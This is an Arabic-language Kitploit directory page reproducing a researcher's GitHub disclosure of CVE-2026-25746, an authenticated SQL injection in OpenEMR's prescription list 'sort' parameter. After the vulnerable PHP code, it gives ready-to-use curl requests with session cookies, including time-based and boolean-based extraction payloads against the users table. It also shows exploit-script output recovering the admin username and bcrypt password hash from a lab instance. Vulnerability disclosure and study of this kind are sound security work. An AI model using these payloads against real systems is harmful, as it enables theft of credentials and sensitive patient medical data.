Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4 — CVE-2026-25746 - ثغرة حقن SQL في OpenEMR <8.0.0 | Kitploit
أدوات/GitHubGitHub/chrissub08/cve-2026-25746_sqlinjectionvulnerabilityopenemr7.0.4
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقأمن قواعد البيانات
GitHubchrissub08/cve-2026-25746_sqlinjectionvulnerabilityopenemr7.0.4

CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-25746 - ثغرة حقن SQL في OpenEMR <8.0.0

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

CVE-2026-25746 - ثغرة حقن SQL في OpenEMR <8.0.0

الضعف CWE-89

تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL') يبني المنتج كل أمر SQL أو جزءًا منه باستخدام مدخلات متأثرة خارجيًا من مكوّن علوي (upstream)، لكنه لا يحيد العناصر الخاصة التي قد تعدّل أمر SQL المقصود عند إرساله إلى مكوّن سفلي (downstream) أو يحيدها بشكل غير صحيح. بدون إزالة أو اقتباس كافٍ لصيغة SQL في المدخلات التي يتحكم فيها المستخدم، يمكن أن يتسبب استعلام SQL المُنشأ في تفسير تلك المدخلات على أنها SQL بدلاً من بيانات المستخدم العادية. اطّلع على المزيد على موقع MITRE.

الملخص

يحتوي OpenEMR <8.0.0 على ثغرة حقن SQL في الوصفات الطبية يمكن استغلالها من قبل المهاجمين المصادَق عليهم. توجد الثغرة بسبب عدم كفاية التحقق من صحة المدخلات في وظيفة عرض قائمة الوصفات الطبية.

التفاصيل

تحدث الثغرة في وظيفة عرض قائمة الوصفات الطبية حيث يتم دمج المدخلات التي يقدمها المستخدم في معامل الفرز (sort) مباشرةً في استعلامات SQL دون تنقية مناسبة. وهذا يسمح للمهاجمين بحقن كود SQL خبيث.

تؤثر الثغرة على الملفات التالية:

  • \openemr\library\classes\Prescription.class.php السطر 1148 في دالة prescriptions_factory
  • \controllers\C_Prescription.class.php السطر 180 في دالة list_action
  • \openemr\controller.php السطر 6

ملف التحكم (controller) يُستدعى من مسار URL

root@kitploit:~
$controller = new Controller();
echo $controller->act($_GET);

طريقة act في Controller:

root@kitploit:~
        $args = array_reverse(array_keys($qarray));
        $c_name = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
        $c_action = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
        $obj_name = "C_" . $c_name;
        $c_obj = new $obj_name();
...
        foreach ($args as $arg) {
            $arg = preg_replace("/[^A-Za-z0-9_]/", "", (string) $arg);
            if (empty($qarray[$arg]) && $qarray[$arg] != "0") {
                $args_array[] = null;
            } else {
                $args_array[] = $qarray[$arg];
            }
        }
...
        if (is_callable([&$c_obj, $c_action . "_action"]) && method_exists($c_obj, $c_action . "_action")) {
            $output .=  $c_obj->{$c_action . "_action"}(...$args_array);
        }

طريقة list_action في C_Prescription

root@kitploit:~
    function list_action($id, $sort = "", $printPrescriptionId = null)
    {
        if (empty($id)) {
            $this->function_argument_error();
            exit;
        }

        if (!empty($sort)) {
            $this->assign("prescriptions", Prescription::prescriptions_factory($id, $sort));
        }

الثغرة في طريقة prescriptions_factory في Prescription

root@kitploit:~
    static function prescriptions_factory(
        $patient_id,
        $order_by = "active DESC, date_modified DESC, date_added DESC"
    ) {

        $prescriptions = [];
        $p = new Prescription();
        $sql = "SELECT id FROM " . escape_table_name($p->_table) . " WHERE patient_id = ? " .
                "ORDER BY " . add_escape_custom($order_by);
        $results = sqlQ($sql, [$patient_id]);
        while ($row = sqlFetchArray($results)) {
            $prescriptions[] = new Prescription($row['id']);
        }

        return $prescriptions;
    }

الصلاحيات

root@kitploit:~
        if ((array_key_first($qarray) ?? '') == 'prescription') {                                                                                              
            if (!AclMain::aclCheckCore('patients', 'rx')) {                                                                                                    
                echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Prescriptions")]);    
                exit;                                                                                                                                          
            }                                                                                                                                                  
        }

تُطلَب صلاحية ACL rx على patients، وهذه صلاحيات قياسية وليست امتيازات مرتفعة.

حقن SQL

root@kitploit:~
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY <injection>

إثبات المفهوم (PoC)

root@kitploit:~
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort="'                  
SQL Statement failed on preparation: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \&quot;'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/library/classes/Prescription.class.php at 1149:sqlQ<br />/var/www/localhost/htdocs/openemr/controllers/C_Prescription.class.php at 180:prescriptions_factory(1,")<br />/var/www/localhost/htdocs/openemr/library/classes/Controller.class.php at 157:list_action(1,")<br />/var/www/localhost/htdocs/openemr/controller.php at 6:act(Array)

┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%201)'

┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20SLEEP(5))'

┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=5d884df35b6ff2fddf12d83da5095ae8" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20((ASCII(SUBSTRING(username,1,1))%20DIV%20128)MOD%202)%20FROM%20users%20LIMIT%201)'

توجد تقنيات متعددة لاستغلالها؛ إحداها هجوم قائم على القيم المنطقية (boolean-based)، ويعمل باستخدام الحمولة الأخيرة:

root@kitploit:~
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY (SELECT ((ASCII(SUBSTRING(username,1,1)) DIV 64)MOD 2) FROM users LIMIT 1)

الاستغلال

root@kitploit:~
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py 172.18.0.3 b2b9f1cc76b47f8f13cc1f707baa0a64 users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[+] Using patient_id=1
[+] Reference checksum (1): 604da4e5e2149a31fc68530bad701666942f600f
[+] Reference checksum (0): 66cfdfc2ad847a919672c75651b43749e1a5f38c
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0

┌──(kali㉿kali)-[~]
└─$ 

التأثير

  • الوصول غير المصرح به إلى معلومات قاعدة البيانات
  • احتمال اختراق بيانات طبية حساسة
  • تنفيذ كود من جانب الخادم (في بعض الحالات)
  • اختراق قاعدة البيانات

الاعتمادات

  • الباحث: Christophe SUBLET
  • المؤسسة: Grenoble INP - Esisar, UGA
  • المشروع: CyberSkills, Orion

الروابط

https://www.cve.org/CVERecord?id=CVE-2026-25746

الترخيص

هذا المشروع مرخّص بموجب رخصة MIT – راجع ملف LICENSE للحصول على التفاصيل.
يُرجى الاستشهاد بورقتنا البحثية: https://github.com/ChrisSub08/CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4

تنزيل الأداة